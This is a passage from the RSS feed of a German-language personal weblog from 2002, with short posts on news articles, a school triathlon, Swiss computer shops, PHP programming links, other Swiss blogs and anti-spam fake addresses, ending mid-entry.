  18856.    <dc:creator>Andreas Jaggi</dc:creator>
  18857.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18858.    <pubDate>Thu, 05 Sep 2002 19:32:00 +0200</pubDate>
  18859.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18860.    <description><![CDATA[Es zeugt IMHO von Qualität, wenn eine Wochenzeitung nicht nur folgende Themen beinhaltet:<br><br><a href="https://web.archive.org/web/20020905200200/http://www.weltwoche.ch/ressort_bericht.asp?asset_id=3109&amp;category_id=60" target="_blank"><b>Amerikas Regierung redet vom Kampf gegen den Terror. In Wahrheit wird die Tragödie vom 11. September auch für knallharte Interessenpolitik genutzt.</b></a><br><br><a href="https://web.archive.org/web/20020905200200/http://www.weltwoche.ch/ressort_bericht.asp?asset_id=3129&amp;category_id=62" target="_blank"><b>Der Friedensforscher Johan Galtung erklärt, warum Amerika im Kampf gegen das Böse bis zum Äussersten gehen wird und weshalb George W. Bush und Osama Bin Laden einander ähneln.</b></a><br><br><a href="https://web.archive.org/web/20020905200200/http://www.weltwoche.ch/ressort_bericht.asp?asset_id=3104&amp;category_id=59" target="_blank"><b>Sie flüchten vor Armut, Unterdrückung und Willkür: Jährlich suchen rund 10000 russische Soldaten vor Ende der Dienstpflicht das Weite – oft mit Gewalt.</b></a><br><br>sondern auch Themen, die weltpolitisch keinen Einfluss haben wie z.B. dieses hier:<br><br><a href="https://web.archive.org/web/20020905200200/http://www.weltwoche.ch/ressort_bericht.asp?asset_id=3114&amp;category_id=60" target="_blank"><b>Björk kommt von dort, Mick Jagger war schon dort, David Bowie möchte unbedingt hin. Islands Jugend hält trotzdem nichts von Reykjavík. Doch muss sie sich deswegen gleich die Seele aus dem Leib saufen?</b></a>
  18861. ]]></description>
  18862.    <content:encoded><![CDATA[Es zeugt IMHO von Qualität, wenn eine Wochenzeitung nicht nur folgende Themen beinhaltet:<br><br><a href="https://web.archive.org/web/20020905200200/http://www.weltwoche.ch/ressort_bericht.asp?asset_id=3109&amp;category_id=60" target="_blank"><b>Amerikas Regierung redet vom Kampf gegen den Terror. In Wahrheit wird die Tragödie vom 11. September auch für knallharte Interessenpolitik genutzt.</b></a><br><br><a href="https://web.archive.org/web/20020905200200/http://www.weltwoche.ch/ressort_bericht.asp?asset_id=3129&amp;category_id=62" target="_blank"><b>Der Friedensforscher Johan Galtung erklärt, warum Amerika im Kampf gegen das Böse bis zum Äussersten gehen wird und weshalb George W. Bush und Osama Bin Laden einander ähneln.</b></a><br><br><a href="https://web.archive.org/web/20020905200200/http://www.weltwoche.ch/ressort_bericht.asp?asset_id=3104&amp;category_id=59" target="_blank"><b>Sie flüchten vor Armut, Unterdrückung und Willkür: Jährlich suchen rund 10000 russische Soldaten vor Ende der Dienstpflicht das Weite – oft mit Gewalt.</b></a><br><br>sondern auch Themen, die weltpolitisch keinen Einfluss haben wie z.B. dieses hier:<br><br><a href="https://web.archive.org/web/20020905200200/http://www.weltwoche.ch/ressort_bericht.asp?asset_id=3114&amp;category_id=60" target="_blank"><b>Björk kommt von dort, Mick Jagger war schon dort, David Bowie möchte unbedingt hin. Islands Jugend hält trotzdem nichts von Reykjavík. Doch muss sie sich deswegen gleich die Seele aus dem Leib saufen?</b></a>
  18863. ]]></content:encoded>
  18864.  </item>
  18865.  
  18866.  <item>
  18867.    <title>Triathlon</title>
  18868.    <link>https://blog.x-way.org/School/2002/09/03/Triathlon.html</link>
  18869.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=83</guid>
  18870.    <dc:creator>Andreas Jaggi</dc:creator>
  18871.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18872.    <pubDate>Tue, 03 Sep 2002 23:27:00 +0200</pubDate>
  18873.    <category domain="https://blog.x-way.org/School/">School</category>
  18874.    <description><![CDATA[Bevor ich elendlich daran zu Grunde gehen werde dürft ihr es auch noch erfahren:<br>Morgen ist Triathlon von der Prima meiner Schule. Mit den klassichen drei Disziplinen:<br><b>Ertrinken</b>, <b>LungeAusDemLeibRadeln</b> und <b>ZuTodeLaufen</b><br><br>Kondolenz-E-Mails bitte hierhin schicken: <a href="mailto:&#103;&#101;&#115;&#116;&#111;&#114;&#98;&#101;&#110;&#102;&#117;&#101;&#114;&#100;&#101;&#110;&#116;&#114;&#105;&#97;&#116;&#104;&#108;&#111;&#110;&#64;&#119;&#97;&#116;&#101;&#114;&#119;&#97;&#118;&#101;&#46;&#99;&#104;"><b>gestorbenfuerdentriathlon@waterwave.ch</b></a>
  18875. ]]></description>
  18876.    <content:encoded><![CDATA[Bevor ich elendlich daran zu Grunde gehen werde dürft ihr es auch noch erfahren:<br>Morgen ist Triathlon von der Prima meiner Schule. Mit den klassichen drei Disziplinen:<br><b>Ertrinken</b>, <b>LungeAusDemLeibRadeln</b> und <b>ZuTodeLaufen</b><br><br>Kondolenz-E-Mails bitte hierhin schicken: <a href="mailto:&#103;&#101;&#115;&#116;&#111;&#114;&#98;&#101;&#110;&#102;&#117;&#101;&#114;&#100;&#101;&#110;&#116;&#114;&#105;&#97;&#116;&#104;&#108;&#111;&#110;&#64;&#119;&#97;&#116;&#101;&#114;&#119;&#97;&#118;&#101;&#46;&#99;&#104;"><b>gestorbenfuerdentriathlon@waterwave.ch</b></a>
  18877. ]]></content:encoded>
  18878.  </item>
  18879.  
  18880.  <item>
  18881.    <title>Online-PC-Shops</title>
  18882.    <link>https://blog.x-way.org/Tech/2002/09/03/Online-PC-Shops.html</link>
  18883.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=82</guid>
  18884.    <dc:creator>Andreas Jaggi</dc:creator>
  18885.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18886.    <pubDate>Tue, 03 Sep 2002 22:45:00 +0200</pubDate>
  18887.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  18888.    <description><![CDATA[Hier eine Liste einiger Online-Shops für Computer und Zubehör:<br><br>(Reihenfolge ist rein zufällig gewählt, sagt also nichts über Qualität, Preis oder sonstige Bewertung aus!)<br><br><a href="https://web.archive.org/web/20020928122818/http://www.stegpc.ch/" target="_blank"><b>Steg Computer</b></a><br><a href="https://www.brack.ch/" target="_blank"><b>Brack Consulting Computersysteme</b></a><br><a href="https://web.archive.org/web/20060215102832/http://byte-line.ch/" target="_blank"><b>Byte-Line</b></a><br><a href="https://web.archive.org/web/20020923170545/www.topd.ch" target="_blank"><b>Top-D Computer Discount</b></a><br><a href="http://digitec.ch/" target="_blank"><b>digitec.ch</b></a><br><a href="http://www.listan.de" target="_blank"><b>LISTAN</b></a><br><a href="https://web.archive.org/web/20020926010347/http://www.arp-datacon.ch/" target="_blank"><b>ARP DATACON</b></a><br><br>Mit Brack, Steg und Arp Datacon habe ich persönlich schon gute Erfahrungen gemacht; Byte-Line wurde mir von einem Kollegen sehr empfohlen; Top-D habe ich heute erst entdeckt, hat aber IMHO relativ niedrige Preise; digitec scheint mir IMHO ein bisschen teuer soll aber ein grosses Sortiment haben; bei Listan werde ich mein neues Gehäuse kaufen, überzeugt vor allem durch die niedrigen Versandkosten.<br><br>Ergänzungen sind herzlichst willkommen :-)
  18889. ]]></description>
  18890.    <content:encoded><![CDATA[Hier eine Liste einiger Online-Shops für Computer und Zubehör:<br><br>(Reihenfolge ist rein zufällig gewählt, sagt also nichts über Qualität, Preis oder sonstige Bewertung aus!)<br><br><a href="https://web.archive.org/web/20020928122818/http://www.stegpc.ch/" target="_blank"><b>Steg Computer</b></a><br><a href="https://www.brack.ch/" target="_blank"><b>Brack Consulting Computersysteme</b></a><br><a href="https://web.archive.org/web/20060215102832/http://byte-line.ch/" target="_blank"><b>Byte-Line</b></a><br><a href="https://web.archive.org/web/20020923170545/www.topd.ch" target="_blank"><b>Top-D Computer Discount</b></a><br><a href="http://digitec.ch/" target="_blank"><b>digitec.ch</b></a><br><a href="http://www.listan.de" target="_blank"><b>LISTAN</b></a><br><a href="https://web.archive.org/web/20020926010347/http://www.arp-datacon.ch/" target="_blank"><b>ARP DATACON</b></a><br><br>Mit Brack, Steg und Arp Datacon habe ich persönlich schon gute Erfahrungen gemacht; Byte-Line wurde mir von einem Kollegen sehr empfohlen; Top-D habe ich heute erst entdeckt, hat aber IMHO relativ niedrige Preise; digitec scheint mir IMHO ein bisschen teuer soll aber ein grosses Sortiment haben; bei Listan werde ich mein neues Gehäuse kaufen, überzeugt vor allem durch die niedrigen Versandkosten.<br><br>Ergänzungen sind herzlichst willkommen :-)
  18891. ]]></content:encoded>
  18892.  </item>
  18893.  
  18894.  <item>
  18895.    <title>The Wonders of PHP SOAP</title>
  18896.    <link>https://blog.x-way.org/Coding/2002/09/03/The_Wonders_of_PHP_SOAP.html</link>
  18897.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=81</guid>
  18898.    <dc:creator>Andreas Jaggi</dc:creator>
  18899.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18900.    <pubDate>Tue, 03 Sep 2002 19:58:00 +0200</pubDate>
  18901.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18902.    <description><![CDATA[Wenn der Autor <a href="https://web.archive.org/web/20050221191726/http://www.phpkitchen.com/article.php?story=20020527103340943" target="_blank"><b>dieses Artikels</b></a> die SOAP Extension für PHP releast und mein Hoster diese Extensions installiert, wird der <b>x-log</b> auch via SOAP erreichbar sein.<br>Aber bis dahin müsst ihr euch noch gedulden. Oder ich nehme mir mal richtig Zeit um mit einer SOAP Klasse Webservices zu programmieren und anzubieten. Vielleicht wirds dann auch etwas mit meinem PHP-GTK-Client für den <b>x-log</b> :-)
  18903. ]]></description>
  18904.    <content:encoded><![CDATA[Wenn der Autor <a href="https://web.archive.org/web/20050221191726/http://www.phpkitchen.com/article.php?story=20020527103340943" target="_blank"><b>dieses Artikels</b></a> die SOAP Extension für PHP releast und mein Hoster diese Extensions installiert, wird der <b>x-log</b> auch via SOAP erreichbar sein.<br>Aber bis dahin müsst ihr euch noch gedulden. Oder ich nehme mir mal richtig Zeit um mit einer SOAP Klasse Webservices zu programmieren und anzubieten. Vielleicht wirds dann auch etwas mit meinem PHP-GTK-Client für den <b>x-log</b> :-)
  18905. ]]></content:encoded>
  18906.  </item>
  18907.  
  18908.  <item>
  18909.    <title>deviantMAG</title>
  18910.    <link>https://blog.x-way.org/Webdesign/2002/09/03/deviantMAG.html</link>
  18911.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=80</guid>
  18912.    <dc:creator>Andreas Jaggi</dc:creator>
  18913.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18914.    <pubDate>Tue, 03 Sep 2002 11:26:00 +0200</pubDate>
  18915.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  18916.    <description><![CDATA[Eine <a href="http://www.deviantmag.com/" target="_blank"><b>Website</b></a> für Designer :-)<br>IMHO siehts noch ein bisschen nach "under construction" aus. Aber dennoch schon gute Inhalte wie z.B. ein Interview mit dem Designer von <a href="http://www.2advanced.com/" target="_blank"><b>2advanced.com</b></a>
  18917. ]]></description>
  18918.    <content:encoded><![CDATA[Eine <a href="http://www.deviantmag.com/" target="_blank"><b>Website</b></a> für Designer :-)<br>IMHO siehts noch ein bisschen nach "under construction" aus. Aber dennoch schon gute Inhalte wie z.B. ein Interview mit dem Designer von <a href="http://www.2advanced.com/" target="_blank"><b>2advanced.com</b></a>
  18919. ]]></content:encoded>
  18920.  </item>
  18921.  
  18922.  <item>
  18923.    <title>Die *Alternative* zu Wireless</title>
  18924.    <link>https://blog.x-way.org/Networking/2002/09/02/Die_Alternative_zu_Wireless.html</link>
  18925.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=79</guid>
  18926.    <dc:creator>Andreas Jaggi</dc:creator>
  18927.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18928.    <pubDate>Mon, 02 Sep 2002 23:43:00 +0200</pubDate>
  18929.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  18930.    <description><![CDATA[<br><img alt="Cat.5 Kabelrolle" src="https://blog.x-way.org/images/antiwireless.jpg" width="180" height="180"><br><br>Für alle, die sich nicht der Strahlung eines Wireless Netzwerks aussetzen wollen aber trotzdem draussen im Park arbeiten wollen, gibt es jetzt eine Alternative: <b>90m Cat.5 Kabelrolle mit integriertem 8-Port Switch</b><br>Erhältlich bei <a href="https://www.arp.ch/" target="_blank"><b>arp.ch</b></a> (Prod.Nr. 230791)<br><br>Jedoch ist der Preis mit <b>CHF 899.-</b> IMHO ein bisschen sehr hoch. Da ist ein Wireless-Netz nicht viel teurer, wenn nicht sogar billiger!
  18931. ]]></description>
  18932.    <content:encoded><![CDATA[<br><img alt="Cat.5 Kabelrolle" src="https://blog.x-way.org/images/antiwireless.jpg" width="180" height="180"><br><br>Für alle, die sich nicht der Strahlung eines Wireless Netzwerks aussetzen wollen aber trotzdem draussen im Park arbeiten wollen, gibt es jetzt eine Alternative: <b>90m Cat.5 Kabelrolle mit integriertem 8-Port Switch</b><br>Erhältlich bei <a href="https://www.arp.ch/" target="_blank"><b>arp.ch</b></a> (Prod.Nr. 230791)<br><br>Jedoch ist der Preis mit <b>CHF 899.-</b> IMHO ein bisschen sehr hoch. Da ist ein Wireless-Netz nicht viel teurer, wenn nicht sogar billiger!
  18933. ]]></content:encoded>
  18934.  </item>
  18935.  
  18936.  <item>
  18937.    <title>Really Cool!</title>
  18938.    <link>https://blog.x-way.org/Misc/2002/09/02/Really_Cool.html</link>
  18939.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=78</guid>
  18940.    <dc:creator>Andreas Jaggi</dc:creator>
  18941.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18942.    <pubDate>Mon, 02 Sep 2002 00:49:00 +0200</pubDate>
  18943.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18944.    <description><![CDATA[<br><img alt="Coolplayer" src="https://blog.x-way.org/images/coolplayer.gif" width="40" height="18"><br><br><a href="http://coolplayer.sourceforge.net/" target="_blank"><b>CoolPlayer</b></a> nennt sich dieser kleine Musicplayer. Mit entsprechenden Skins lässt er sich bis auf die oben sichtbare Grösse verkleinern und er ist erst noch GPL!
  18945. ]]></description>
  18946.    <content:encoded><![CDATA[<br><img alt="Coolplayer" src="https://blog.x-way.org/images/coolplayer.gif" width="40" height="18"><br><br><a href="http://coolplayer.sourceforge.net/" target="_blank"><b>CoolPlayer</b></a> nennt sich dieser kleine Musicplayer. Mit entsprechenden Skins lässt er sich bis auf die oben sichtbare Grösse verkleinern und er ist erst noch GPL!
  18947. ]]></content:encoded>
  18948.  </item>
  18949.  
  18950.  <item>
  18951.    <title>Scheiss IBM</title>
  18952.    <link>https://blog.x-way.org/Misc/2002/09/01/Scheiss_IBM.html</link>
  18953.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=77</guid>
  18954.    <dc:creator>Andreas Jaggi</dc:creator>
  18955.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18956.    <pubDate>Sun, 01 Sep 2002 21:45:00 +0200</pubDate>
  18957.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18958.    <description><![CDATA[Warum müssen die eigentlich ihre Festplatten immer so bauen, dass sie regelmässig jeden Monat (und zu jedem anderen ungünstigsten Zeitpunkt) den Geist aufgeben, crashen, abschmieren, sich selbst zerstören ... ?<br>Nachdem ich nun den ganzen Tag gebastelt habe läuft das System nun wieder so, dass man eine Anwendung aufstarten kann, ohne dass man gleich 2h warten muss.<br><a href="https://blog.x-way.org/images/defrag.gif"><b>Hier</b></a> ein Screenshot nach der Defragmentierung von C:.<br>Wo ist eigentlich der Unterschied zwischen dem oberen und dem unteren Balken?<br>Scheiss Computer ...
  18959. ]]></description>
  18960.    <content:encoded><![CDATA[Warum müssen die eigentlich ihre Festplatten immer so bauen, dass sie regelmässig jeden Monat (und zu jedem anderen ungünstigsten Zeitpunkt) den Geist aufgeben, crashen, abschmieren, sich selbst zerstören ... ?<br>Nachdem ich nun den ganzen Tag gebastelt habe läuft das System nun wieder so, dass man eine Anwendung aufstarten kann, ohne dass man gleich 2h warten muss.<br><a href="https://blog.x-way.org/images/defrag.gif"><b>Hier</b></a> ein Screenshot nach der Defragmentierung von C:.<br>Wo ist eigentlich der Unterschied zwischen dem oberen und dem unteren Balken?<br>Scheiss Computer ...
  18961. ]]></content:encoded>
  18962.  </item>
  18963.  
  18964.  <item>
  18965.    <title>Im Frühling spriessen die Blumen, im Herbst die Weblogs</title>
  18966.    <link>https://blog.x-way.org/Misc/2002/09/01/Im_Fruehling_spriessen_die_Blumen_im_Herbst_die_Weblogs.html</link>
  18967.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=76</guid>
  18968.    <dc:creator>Andreas Jaggi</dc:creator>
  18969.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18970.    <pubDate>Sun, 01 Sep 2002 13:21:00 +0200</pubDate>
  18971.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18972.    <description><![CDATA[<a href="http://quimbo.antville.org/" target="_blank"><b>Hier</b></a> ist schon wieder ein CH-Weblog entstanden.
  18973. ]]></description>
  18974.    <content:encoded><![CDATA[<a href="http://quimbo.antville.org/" target="_blank"><b>Hier</b></a> ist schon wieder ein CH-Weblog entstanden.
  18975. ]]></content:encoded>
  18976.  </item>
  18977.  
  18978.  <item>
  18979.    <title>Spieglein, Spieglein an der Wand ..</title>
  18980.    <link>https://blog.x-way.org/Misc/2002/08/30/Spieglein_Spieglein_an_der_Wand_.html</link>
  18981.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=75</guid>
  18982.    <dc:creator>Andreas Jaggi</dc:creator>
  18983.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18984.    <pubDate>Fri, 30 Aug 2002 22:16:00 +0200</pubDate>
  18985.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18986.    <description><![CDATA[Weil <a href="http://www.spiegel.de/" target="_blank"><b>der Spiegel</b></a> in <a href="http://www.spiegel.de/netzwelt/netzkultur/0,1518,211412,00.html" target="_blank"><b>einem Artikel</b></a> auf <a href="https://web.archive.org/web/20020603121748/http://www.blogworld.de/karte.php" target="_blank"><b>diese URL</b></a> verweist, habe ich nun ganz viele Referrers von <a href="https://web.archive.org/web/20020615131358/http://www.blogworld.de/schweiz.php" target="_blank"><b>dieser URL</b></a>.<br>Na dann sage ich nur eines:<br><br><span style="font-size: 20px; color: #FF0000;">Herzlich Willkommen!</span>
  18987. ]]></description>
  18988.    <content:encoded><![CDATA[Weil <a href="http://www.spiegel.de/" target="_blank"><b>der Spiegel</b></a> in <a href="http://www.spiegel.de/netzwelt/netzkultur/0,1518,211412,00.html" target="_blank"><b>einem Artikel</b></a> auf <a href="https://web.archive.org/web/20020603121748/http://www.blogworld.de/karte.php" target="_blank"><b>diese URL</b></a> verweist, habe ich nun ganz viele Referrers von <a href="https://web.archive.org/web/20020615131358/http://www.blogworld.de/schweiz.php" target="_blank"><b>dieser URL</b></a>.<br>Na dann sage ich nur eines:<br><br><span style="font-size: 20px; color: #FF0000;">Herzlich Willkommen!</span>
  18989. ]]></content:encoded>
  18990.  </item>
  18991.  
  18992.  <item>
  18993.    <title>kant.ch</title>
  18994.    <link>https://blog.x-way.org/Misc/2002/08/29/kantch.html</link>
  18995.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=74</guid>
  18996.    <dc:creator>Andreas Jaggi</dc:creator>
  18997.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18998.    <pubDate>Thu, 29 Aug 2002 01:41:00 +0200</pubDate>
  18999.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19000.    <description><![CDATA[Ein weiterer <a href="https://web.archive.org/web/20020925004847/http://kant.ch/"><b>CH-Weblog</b></a>. Daher auch nicht sonderlich verwunderlich dass er auf <a href="https://web.archive.org/web/20060314141948/http://sunlog.ch/rubrik/1/de/" target="_blank"><b>sunlog</b></a> basiert :-)
  19001. ]]></description>
  19002.    <content:encoded><![CDATA[Ein weiterer <a href="https://web.archive.org/web/20020925004847/http://kant.ch/"><b>CH-Weblog</b></a>. Daher auch nicht sonderlich verwunderlich dass er auf <a href="https://web.archive.org/web/20060314141948/http://sunlog.ch/rubrik/1/de/" target="_blank"><b>sunlog</b></a> basiert :-)
  19003. ]]></content:encoded>
  19004.  </item>
  19005.  
  19006.  <item>
  19007.    <title>Google-API</title>
  19008.    <link>https://blog.x-way.org/Coding/2002/08/29/Google-API.html</link>
  19009.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=73</guid>
  19010.    <dc:creator>Andreas Jaggi</dc:creator>
  19011.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19012.    <pubDate>Thu, 29 Aug 2002 01:29:00 +0200</pubDate>
  19013.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19014.    <description><![CDATA[Bisher hatte ich vergeblich gesucht, aber jetzt habe ich es gefunden:<br><a href="https://web.archive.org/web/20021017040810/http://www.devshed.com/Server_Side/PHP/GoogleAPI/page1.html" target="_blank"><b>Hiermit</b></a> kann man auch mit PHP via SOAP auf die Google-API zugreifen.<br><br><a href="https://web.archive.org/web/20021017033427/http://www.devshed.com/Server_Side/PHP/" target="_blank"><b>Hier</b></a> hat es noch viele weitere "inspirierende" PHP-Artikel :-)
  19015. ]]></description>
  19016.    <content:encoded><![CDATA[Bisher hatte ich vergeblich gesucht, aber jetzt habe ich es gefunden:<br><a href="https://web.archive.org/web/20021017040810/http://www.devshed.com/Server_Side/PHP/GoogleAPI/page1.html" target="_blank"><b>Hiermit</b></a> kann man auch mit PHP via SOAP auf die Google-API zugreifen.<br><br><a href="https://web.archive.org/web/20021017033427/http://www.devshed.com/Server_Side/PHP/" target="_blank"><b>Hier</b></a> hat es noch viele weitere "inspirierende" PHP-Artikel :-)
  19017. ]]></content:encoded>
  19018.  </item>
  19019.  
  19020.  <item>
  19021.    <title>PHP-GTK</title>
  19022.    <link>https://blog.x-way.org/Coding/2002/08/29/PHP-GTK1.html</link>
  19023.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=72</guid>
  19024.    <dc:creator>Andreas Jaggi</dc:creator>
  19025.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19026.    <pubDate>Thu, 29 Aug 2002 01:18:00 +0200</pubDate>
  19027.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19028.    <description><![CDATA[Und <a href="https://web.archive.org/web/20040811154048/http://www.devarticles.com/c/a/PHP/Revisited-Building-Cross-Platform-GUI-Apps-With-PHP-GTK/" target="_blank"><b>hier</b></a> noch eine Einführung in PHP-GTK. Inklusive einem simplen GUI für MySQL.
  19029. ]]></description>
  19030.    <content:encoded><![CDATA[Und <a href="https://web.archive.org/web/20040811154048/http://www.devarticles.com/c/a/PHP/Revisited-Building-Cross-Platform-GUI-Apps-With-PHP-GTK/" target="_blank"><b>hier</b></a> noch eine Einführung in PHP-GTK. Inklusive einem simplen GUI für MySQL.
  19031. ]]></content:encoded>
  19032.  </item>
  19033.  
  19034.  <item>
  19035.    <title>Eigenes Session Management</title>
  19036.    <link>https://blog.x-way.org/Coding/2002/08/29/Eigenes_Session_Management.html</link>
  19037.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=71</guid>
  19038.    <dc:creator>Andreas Jaggi</dc:creator>
  19039.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19040.    <pubDate>Thu, 29 Aug 2002 01:04:00 +0200</pubDate>
  19041.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19042.    <description><![CDATA[<a href="https://web.archive.org/web/20021023101845/http://www.devarticles.com/content.php?articleId=171" target="_blank"><b>Dieser Artikel</b></a> beschreibt, wie man mit PHP ein eigenes Session Management programmieren kann; ohne $_SESSION['???'] zu benützen.
  19043. ]]></description>
  19044.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021023101845/http://www.devarticles.com/content.php?articleId=171" target="_blank"><b>Dieser Artikel</b></a> beschreibt, wie man mit PHP ein eigenes Session Management programmieren kann; ohne $_SESSION['???'] zu benützen.
  19045. ]]></content:encoded>
  19046.  </item>
  19047.  
  19048.  <item>
  19049.    <title>linuxinfozentrum.ch</title>
  19050.    <link>https://blog.x-way.org/Linux/2002/08/27/linuxinfozentrumch.html</link>
  19051.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=70</guid>
  19052.    <dc:creator>Andreas Jaggi</dc:creator>
  19053.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19054.    <pubDate>Tue, 27 Aug 2002 14:27:00 +0200</pubDate>
  19055.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19056.    <description><![CDATA[<a href="http://www.linuxinfozentrum.ch/" target="_blank"><b>Hier</b></a> hat es viele vielfältige Informationen über Linux, insbesondere einen IMHO detaillierten Bereich über Mini Distributionen.
  19057. ]]></description>
  19058.    <content:encoded><![CDATA[<a href="http://www.linuxinfozentrum.ch/" target="_blank"><b>Hier</b></a> hat es viele vielfältige Informationen über Linux, insbesondere einen IMHO detaillierten Bereich über Mini Distributionen.
  19059. ]]></content:encoded>
  19060.  </item>
  19061.  
  19062.  <item>
  19063.    <title>1.</title>
  19064.    <link>https://blog.x-way.org/Misc/2002/08/27/1.html</link>
  19065.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=69</guid>
  19066.    <dc:creator>Andreas Jaggi</dc:creator>
  19067.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19068.    <pubDate>Tue, 27 Aug 2002 14:21:00 +0200</pubDate>
  19069.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19070.    <description><![CDATA[<a href="http://www.google.com/search?q=X-Way"><b>Das</b></a> ist wieder einmal eine erfreuliche Überraschung :-)
  19071. ]]></description>
  19072.    <content:encoded><![CDATA[<a href="http://www.google.com/search?q=X-Way"><b>Das</b></a> ist wieder einmal eine erfreuliche Überraschung :-)
  19073. ]]></content:encoded>
  19074.  </item>
  19075.  
  19076.  <item>
  19077.    <title>Maturaarbeit - Praxis</title>
  19078.    <link>https://blog.x-way.org/School/2002/08/26/Maturaarbeit_-_Praxis.html</link>
  19079.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=68</guid>
  19080.    <dc:creator>Andreas Jaggi</dc:creator>
  19081.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19082.    <pubDate>Mon, 26 Aug 2002 21:33:00 +0200</pubDate>
  19083.    <category domain="https://blog.x-way.org/School/">School</category>
  19084.    <description><![CDATA[Im Zuge meiner Maturaarbeit zum Thema Usability entsteht <a href="https://web.archive.org/web/20030719065955/http://www.waterwave.ch/maturaarbeit/"><b>hier</b></a> eine benutzerfreundlichere Version <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch" target="_blank"><b>dieser</b></a> Website.<br>Kritik ist herzlich willkommen :-)
  19085. ]]></description>
  19086.    <content:encoded><![CDATA[Im Zuge meiner Maturaarbeit zum Thema Usability entsteht <a href="https://web.archive.org/web/20030719065955/http://www.waterwave.ch/maturaarbeit/"><b>hier</b></a> eine benutzerfreundlichere Version <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch" target="_blank"><b>dieser</b></a> Website.<br>Kritik ist herzlich willkommen :-)
  19087. ]]></content:encoded>
  19088.  </item>
  19089.  
  19090.  <item>
  19091.    <title>Dosenfleisch - Spam!</title>
  19092.    <link>https://blog.x-way.org/Misc/2002/08/24/Dosenfleisch_-_Spam.html</link>
  19093.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=67</guid>
  19094.    <dc:creator>Andreas Jaggi</dc:creator>
  19095.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19096.    <pubDate>Sat, 24 Aug 2002 01:53:00 +0200</pubDate>
  19097.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19098.    <description><![CDATA[<a href="http://www.schockwellenreiter.de/webdesign/spam.html" target="_blank"><b>Der Schockwellenreiter</b></a> hat einen innovative Idee im alltäglichen Krieg gegen Spam(bots). Basierend auf <a href="https://web.archive.org/web/20020803155602/http://www.ideenreich.com/netlife/spam_1.shtml" target="_blank"><b>einem Artikel von ideenreich.com</b></a>.<br><a href="https://web.archive.org/web/20030418125505/http://www.pepilog.de/artikel/spamwirschlagenzurueck.htm" target="_blank"><b>Pepino</b></a> hat auch schon <a href="https://web.archive.org/web/20030417011107/http://www.pepilog.de/downloads/allgemein.htm" target="_blank"><b>ein passendes PHP-Script</b></a> geschrieben.<br><br>Hier nun ein paar Fake-Adressen: (muss mir noch überlegen, wie ich die tägliche Ration davon irgendwo sinnvoll intergrieren kann :-)<br><br><span style="font-size: 8px;"><a href="mailto:hxqmbr@sxqtvjhuwm.it" style="color: #FFFF00;"><b>hxqmbr@sxqtvjhuwm.it</b></a>, <a href="mailto:guu@oijduzfaiqwrn.eu" style="color: #FFFF11;"><b>guu@oijduzfaiqwrn.eu</b></a>, <a 